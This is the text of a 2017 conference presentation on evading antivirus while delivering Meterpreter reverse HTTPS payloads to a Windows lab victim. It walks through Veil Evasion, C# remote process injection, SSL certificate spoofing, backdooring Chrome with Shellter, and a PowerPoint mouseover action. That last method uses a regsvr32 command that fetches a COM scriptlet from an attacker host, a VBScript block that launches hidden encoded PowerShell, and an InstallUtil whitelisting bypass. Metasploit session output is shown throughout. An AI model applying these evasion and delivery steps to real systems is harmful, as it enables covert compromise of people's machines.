# n00b 101: Practical Techniques for AV Bypass

# **ANYCON** June 16-17, 2017



#### Presenter: Jared Hoffman





Objective: How can I deliver a well-known payload (Meterpreter), and still avoid AV detection?


...this is not a talk about zero days.

...this is not a talk downplaying the role of AV.

...this worked for me, it may not work for you.



"In general, detection of a virus is shown to be **undecidable** both by apriori and runtime analysis, and without detection, cure is likely to be difficult or impossible."



- Fred Cohen

Source: *Computer Viruses – Theory and Experiments*, (1984, Fred Cohen), Introduction and Abstract http://all.net/books/virus/part1.html



AV Detection Types:

- Signature
- Heuristic
- Behavioral
- Real-time



Three Bypass Scenarios:

1. Generate a standalone EXE.

2. Stealth persistence with kyREcon's Shellter Pro v2.0.

3. MS PowerPoint MouseOver Action for MSF HTTPS Meterpreter payload delivery.....need to bypass application whitelisting.



Victim VM:



Windows 7 Pro SP 1




- Anti-Virus: Auto Protection, Scans, Real & Boot Time Protection, SONAR Protection.
- Firewall: Smart Firewall, Intrusion Prevention, Exploit Prevention, Browser Protection, Download Intelligence.



Attacker VMs:









Objective: Build a 32bit EXE file for Windows victim, with a Meterpreter Reverse HTTPS payload.



....custom EXE using remote process injection.



| File Insigh  | t ?  |          |  |   |   | - ×                    |
|--|--|----------|--|---|---|------------------------|
|  | otect blocked this \<br>her action is needed |          |  |   |   |                        |
| 🗮 Details  | 🏫 Origin                                     | Activity |  |   |   |                        |
| On computers as of   | 5/14/2017 at 12:2                            | 20:06 AM |  |   | baseline.exe<br>Threat name: Packed.Generic.347                                       |                        |
| Last Used  | 5/14/2017 at 12:2                            | 20:06 AM |  |   |   |                        |
| Startup Item   | No   |          |  | 1 | Very Few Users  | the base and the       |
| Launched   | No   |          |  |   | Fewer than 5 users in the Norton Co file.   | mmunity have used this |
| Threat type: Virus. Programs that infect other programs, files, or<br>areas of a computer by inserting themselves or attaching themselves<br>to that medium. |  |          |  |   | Very New<br>This file was released less than 1 wee<br>High<br>This file risk is high. | k ago.                 |

Case #1: Signature-based Detection

MSF Exe with baseline template.





https://goo.gl/IEkk7T

Case #1: Signature-based Detection

MSF Exe with baseline template.



- Stager 32 versus 64 bit stager
- Template Use another template besides MSF 32/64 bit defaults
- Shellcode various encoding options

**Source**: Three Simple Disguises for Evading Antivirus, Logan Lembke, Black Hills Information Security, http://www.blackhillsinfosec.com/?p=5094 Case #1: Signature-based Detection

MSF Exe with baseline template.



| File Insight 🛛 🦳 🗕 🗙                                       |  |   |   |  |  |  |
|--|--|---|---|--|--|--|
| This threat has been removed. No further action is needed. |  |   |   |  |  |  |
| 🗮 Details  | 🏫 Origin 🍯 Activity                              |   |   |  |  |  |
| On computers as of   | 5/15/2017 at 9:25:32 PM                          |   | n0t3pad.exe<br>Threat name: Heur.AdvML.B                                    |  |  |  |
| Last Used  | 5/15/2017 at 9:27:32 PM                          |   |   |  |  |  |
| Startup Item   | No   | 1 | Very Few Users<br>Fewer than 5 users in the Norton Community have used this |  |  |  |
| Launched   | No   |   | file.   |  |  |  |
| Threat type: Heurist<br>heuristics.                        | ic Virus. Detection of a threat based on malware | 0 | Very New<br>This file was released less than 1 week ago.                    |  |  |  |
|  |  |   | <b>High</b><br>This file risk is high.                                      |  |  |  |
|  |  |   |   |  |  |  |
|  |  |   |   |  |  |  |

Case #2: Heuristic-based Detection

MSF Exe with different template (using 32bit notepad.exe).





https://goo.gl/GR4yc9

Case #2: Heuristic-based Detection

MSF Exe with different template (using 32bit notepad.exe).



#### **Possible Solution:**

- Veil Framework 3.0
- Chris Truncer, Will Schroeder, Mike Wright
- Veil Evasion and Veil Ordinance
- Sources: https://www.veilframework.com
- https://github.com/Veil-Framework/Veil

Case #2: Heuristic-based Detection

Generate PE file with Veil Evasion.




| File Insigh                        | t?   | - ×   | Case #3:                                |
|------------------------------------|--|---|---|
|                                    | am was behaving suspiciously on your computer.<br>ogram was removed. |   | Signature-based<br>Detection            |
| On computers as<br>of<br>Last Used | 5/15/2017 at 11:02:55 PM<br>5/15/2017 at 11:02:55 PM                 | code_injector.exe Threat name: SONAR.Heuristic.158  | Heuristic Detection<br>Firewall Alert 💢 |
|                                    | No<br>Yes<br>monitors for suspicious program activity on your        | <ul> <li>Very Few Users         Fewer than 5 users in the Norton Community have used this file.         </li> <li>Very New         This file was released less than 1 week ago.     </li> </ul> | Sonar Detection 🗱                       |
| computer.                          |  | High<br>This file risk is high.   | Generate PE file<br>with Veil Evasion   |





Close

| File Insight 2 – ×   | Case #3:              |
|--|-----------------------|
| A program was behaving suspiciously on your computer.<br>This program was removed.                     | Signature-based       |
| 📃 Details 🏠 Origin 🏴 Activity  | Detection 🔵           |
| Show File Actions  | Heuristic Detection 🧲 |
| File: c:\users\pparker\desktop\ <b>code_injector.exe</b> Threat Removed                                | Firewall Alert 💢      |
| File: c:\users\pparker\appdata\local\temp\_mei20442\_ <b>ctypes.pyd</b> No Action Required             | Sonar Detection X     |
| File: c:\users\pparker\appdata\local\temp\_mei20442\ <b>microsoft.vc90.crt.manifest</b> Threat Removed |                       |
| Directory: c:\users\pparker\appdata\local\temp\_mei20442 Threat Removed                                | Generate PE file      |
|  | with Veil Evasion.    |
| Norton         Copy to Clipboard         Restore         Options         Close                         | CYBER <b>DECODE</b>   |



Case #3: Signature-based Detection

#### Heuristic Detection



Generate PE file with Veil Evasion.



https://goo.gl/cWT3qp

Case #3: Signature-based Detection

Heuristic Detection

Firewall Alert 🗱


Sonar Detection 🗱

Generate PE file with Veil Evasion.




#### **Possible Solution:**

- Payload injection into remote process using C# and Windows API calls.
- **Source**: Xartrick, http://www.ownedcore.com/forum s/world-of-warcraft/world-ofwarcraft-bots-programs/wowmemory-editing/422280-c-asminjection-createremotethread.html









| File Insight ?         ▲ Program is behaving suspiciously on your computer.<br>We recommend that you choose to remove it.         ■ Details       ▲ Origin         ▲ Activity | Case #4:<br>Signature<br>Detection              |  |  |
|---|---|--|--|
| Show Suspicious Actions   | Heuristic Detection                             |  |  |
| Event: Attempt to start a remote thread in a process address space Performed by c:\users\pparker\desktop\dumb-name.exe, PID:3664) No fix attempted                            | Firewall Alert 🔵                                |  |  |
|   | Sonar Detection 💢                               |  |  |
| Norton Close  | Payload remote<br>process injection<br>with C#. |  |  |
| Norton     Copy to Clipboard     Close  | CYBERDECODE                                     |  |  |

ERDE

Security History

Close

| lert Sun | nmary                           |                             |                         |         |                                     |
|----------|---------------------------------|-----------------------------|-------------------------|---------|-------------------------------------|
| Severity | Activity                        |                             | Date & Time             | Status  | Recommended Action                  |
| High     | An intrusion at<br>was blocked. | tempt by 192.168.222.198    | 5/16/2017<br>8:33:03 PM | Blocked | No Action Required                  |
| Advanc   | ed Details                      |                             |                         |         | Actions                             |
| IPS A    | lert Name                       | Attack: Meterpreter Reverse | HTTPS                   |         |                                     |
| Defau    | ult Action                      | No Action Required          |                         |         | Stop Notifying Me                   |
| Actio    | n Taken                         | No Action Required          |                         |         |                                     |
| Attac    | king Computer                   | 192.168.222.198, 443        |                         |         |                                     |
| Desti    | nation Address                  | VICTIM7 (192.168.222.134, 4 | 49207)                  |         | Risk Management<br>More Information |
| Sourc    | e Address                       | 192.168.222.198             |                         |         | How risks are detected              |
| Traffi   | c Description                   | TCP, https                  |                         |         | Intrusion Prevention                |

Norton

Case #4: Signature-based Detection Heuristic Detection Firewall Alert Sonar Detection IPS Detection X Code injection with C#. CYBERDE

| Alert Summary                               |  |  |         |  | Signature-based         |
|---|--|--|---------|--|-------------------------|
| Severity Activity                           |  | Date & Time                                  | Status  | Recommended Action                             | Detection               |
| High An intrusi<br>was block                | on attempt by 192.168.222.198<br>ed.   | 5/16/2017<br>8:33:03 PM                      | Blocked | No Action Required                             | Heuristic Detection     |
| Advanced Details                            |  |  |         | Actions  |                         |
| Action Taken                                | No Action Required   |  |         |  | Firewall Alert 🔵        |
| Attacking Compu                             | ter 192.168.222.198, 443   |  |         | Stop Notifying Me                              |                         |
| Destination Addr                            | ess VICTIM7 (192.168.222.134,  | 49207)                                       |         |  | Sonar Detection         |
| Source Address                              | 192.168.222.198  |  |         | Risk Management                                |                         |
| Traffic Descriptio                          | n TCP, https   |  |         | More Information                               | IPS Detection 💢         |
| The attack was resulte<br>\APPDATA\LOCAL\MI | 92.168.222.198 matches the signa<br>d from \DEVICE\HARDDISKVOLUMI<br>CROSOFT\ONEDRIVE\ONEDRIVE.EX<br>in the Actions panel, click Stop No | E2\USERS\PPARKER<br>E. To stop being notifie |         | How risks are detected<br>Intrusion Prevention | Code injection with C#. |
| Vorton<br>by Symantec                       |  |  |         | Security History Close                         | CYRERDECOD              |

https://goo.gl/5rfbxJ

Case #4: Signature-based Detection

Heuristic Detection

Firewall Alert

Sonar Detection

IPS Detection 🗱

Code injection with C#.



#### **Possible Solution:**

- HTTP SSL Certificate Impersonation auxiliary/gather/impersonate\_ssl
- Source: Carlos Perez, *Tip: Meterpreter SSL Certificate Validation*, https://www.darkoperator.com/blo g/2015/6/14/tip-meterpreter-sslcertificate-validation

Case #5: Signature-based Detection Heuristic Detection Firewall Alert Sonar Detection IPS Detection X Spoof SSL Certificate.



| <u>msf</u> exploit( <mark>handler</mark> ) > exploit -j<br>[*] Exploit running as background job.   |                            |                      |            |                              |  |  |  |
|---|----------------------------|----------------------|------------|------------------------------|--|--|--|
| [*] Started HTTPS reverse handler on https://192.168.222.198:443<br><u>msf</u> exploit( <mark>handler</mark> ) > [*] Starting the payload handler<br>[*] https://192.168.222.198:443 handling request from 192.168.222.134; (UUID: e8u61nmw) Meterpreter will verify SSL<br>Certificate with SHA1 hash bbc6ea529d841bd906327438facef7b4c358b7e9 |                            |                      |            |                              |  |  |  |
| [*] https://192.168.222.198:44  |                            |                      | e8u61nmw)  | Staging x86 payload (958531  |  |  |  |
| bytes)<br>[*] Meterpreter session 2 open  | ed (192.168.222.198:443 -> | 192.168.222.134:4927 | 3) at 2017 | -05-14 06:24:17 -0400        |  |  |  |
| <u>msf</u> exploit( <mark>handler</mark> ) > session  | ıs -l                      |                      |            |                              |  |  |  |
| Active sessions<br>=============  |                            |                      |            |                              |  |  |  |
| Id Type   | Information                | Connection           |            |                              |  |  |  |
| 2 meterpreter x86/windows<br>.134)  | VICTIM7\pparker @ VICTIM7  | 192.168.222.198:443  | -> 192.168 | 8.222.134:49273 (192.168.222 |  |  |  |
| <u>msf</u> exploit( <mark>handler</mark> ) > []   |                            |                      |            |                              |  |  |  |



https://goo.gl/QUW7pc


<u>Case #5:</u>
Signature-based
Detection 
Heuristic Detection 
Firewall Alert 
Sonar Detection

IPS Detection

Spoof SSL Certificate.



Objective: Backdoor a 32 bit application with kyREcon's dynamic PE infector Shellter Pro v2.0.





Shellter Pro – Refining AV Evasion

- kyREcon, shellterproject.com, @shellterproject
- Shellter Pro v2.0 released 5/22/17 Dynamic payload injection in DLL Files
- Dynamic shellcode injection tool utilizes the execution flow of the target application.



Target: Google Chrome 32bit Windows version.

- Trusted application to bypass application whitelist.
- Frequent use everyone loves the Internet during the workday!







Target: Google Chrome 32bit Windows version.

https://goo.gl/uXm4aR



Objective: PowerPoint MouseOver Action to deliver Meterpreter HTTPS payload.



Regsvr32 with COM Scriptlets for RCE, then csc.exe & InstallUtil.exe for application whitelisting bypass.



|   | File Insight 🤉 🦳 🗙              |  |                      |               |       |  |              |
|---|---------------------------------|--|----------------------|---------------|-------|--|--------------|
|   |                                 | detected a progra<br>gram was blocked. | m acting abnormally  | on your compu | iter. |  |              |
|   | 🗮 Details                       | 🏠 Origin                               | Activity             |               |       |  |              |
|   | On computers as of              | 7/13/2009 at 7:32                      | :37 PM               | L             | Σ     | powershell.exe<br>Threat name: SONAR.MSOffice!g7                       |              |
|   | Last Used                       | 5/29/2017 at 4:51                      | :47 AM               |               |       | ⊕ Locate   |              |
|   | Startup Item                    | No                                     |                      | 5             | R.    | Many Users<br>Millions of users in the Norton Community have used this | vo used this |
|   | Launched                        | Yes                                    |                      |               |       | file.  | ve used this |
| ſ | SONAR Protection m<br>computer. | nonitors for suspici                   | ous program activity | on your       |       | Mature<br>This file was released <b>7 years 9 months ago.</b>          |              |
| ľ |                                 |  |                      |               |       | <b>High</b><br>This file risk is high.                                 |              |
|   |                                 |  |                      |               |       |  |              |
|   |                                 |  |                      |               |       |  |              |

SONAR Detection did not like Word executing Powershell network commands.

We need another plan of attack. Let the research begin.





| ONAR.MSOffice!g7<br>sk Level 1: Very Low   |                       |
|--|-----------------------|
| Summary Technical Details Removal  | Printer Friendly Page |
| Discovered: April 3, 2017<br>Updated: April 3, 2017 7:26:09 AM<br>Type: Trojan, Virus<br>Infection Length: Varies<br>Systems Affected: Windows   |                       |
| SONAR.MSOfficeIg7 is a heuristic detection for suspicious processes launched by Microsoft  | Office.               |
| Antivirus Protection Dates   |                       |
| Initial Rapid Release version April 3, 2017 revision 020   |                       |
| Latest Rapid Release Version April 3, 2017 revision 020     Initial Daily Certified version April 3, 2017 revision 001     Latest Daily Certified version April 3, 2017 revision 001     Initial Weekly Certified release date April 5, 2017 |                       |

SONAR Detection did not like Word executing Powershell network commands.

We need another plan of attack. Let the research begin.



Casey Smith, @subTee - (.sct files) Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets http://subt0x10.blogspot.com/2017/04/bypass-applicationwhitelisting-script.html

Use regsrv32 to unregister and execute COM Scriptlet for RCE.

regsrv32/s/n/u/i:http://kali.box/file.sct scrobj.dll



Add PS payload to .sct file, and execute with VBScript. Payloads: find csc.exe & InstallUtil.exe path locations, create C# file for InstallUtil, compile, and execute.

```
<script language="VBScript">
<![CDATA[
Set oShell = CreateObject ("WScript.Shell")
oShell.run "powershell.exe -windowstylehidden -enc JABy..."
]]>
</script>
```



Brian Fehrman, @fullmetalcache – How to Bypass Application Whitelisting & AV, http://www.blackhillsinfosec.com/?p=4881

subTee, InstallUtil-Shellcode.cs, https://gist.github.com/subTee/408d980d88515a539672

Leverage csc.exe and InstallUtil.exe to compile and execute payload.



Kelly Sheridan, New Attack Method Delivers Malware Via Mouse Hover, 6/9/2017

http://www.darkreading.com/endpoint/new-attack-methoddelivers-malware-via-mouse-hover-/d/d-id/1329105

'Mouseover' technique relies on users hovering over hyperlinked text and images in Microsoft PowerPoint files to drop Trojan.

Users still need to enable the content to run when they see a security alert.



Add the regsvr32 hook to a PowerPoint Mouse Over Action.

|       | <u>sf</u> exploit( <mark>handler</mark> ) ><br>sf exploit( <mark>handler</mark> ) > sessions -l |                            |  |  |  |  |  |
|-------|---|----------------------------|--|--|--|--|--|
| Acti  | Active sessions   |                            |  |  |  |  |  |
| Id    | Туре  | Information                | Connection   |  |  |  |  |
| 6     | meterpreter x86/windows   | SEGFAULT\regular @ VICTIM7 | 192.168.222.198:443 -> 192.168.222.181:53262 (192.168.222.181) |  |  |  |  |
|       | <u>msf</u> exploit( <b>handler</b> ) > sessions -i 6<br>[*] Starting interaction with 6         |                            |  |  |  |  |  |
| Curre | r <u>preter</u> > getpid<br>ent pid: 5020<br>r <u>preter</u> >                                  |                            |  |  |  |  |  |



Add the regsvr32 hook to a PowerPoint Mouse Over Action.

| 4896   | 3872  | cmd.exe              | x86 | 1 | SEGEAU T\ regular | C:\Windows\system32\cmd.exe                                 |
|--------|-------|----------------------|-----|---|-------------------|---|
| 5020   | 2580  | InstallUtil.exe      | x86 | 1 | <u> </u>          | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.e |
| хе     |       |                      |     |   |                   |   |
| 5220   | 528   | LogonUI.exe          |     |   |                   |   |
| 5224   | 1052  | SearchFilterHost.exe |     |   |                   |   |
| 5400   | 5664  | chrome.exe           | x86 | 1 | SEGFAULT\regular  | C:\Program Files\Google\Chrome\Application\chrome.exe       |
| 5664   | 1720  | chrome.exe           | x86 | 1 | SEGFAULT\regular  | C:\Program Files\Google\Chrome\Application\chrome.exe       |
| 5984   | 484   | conhost.exe          | x86 | 1 | SEGFAULT\regular  | C:\Windows\system32\conhost.exe                             |
|        |       |                      |     |   |                   |   |
| meterp | reter | >                    |     |   |                   |   |



PowerPoint MouseOver Action Delivery

https://goo.gl/XEOgSO



Use AV along with other endpoint security controls.

All presentation content is available on blog.cyberdecode.com

Thank you.

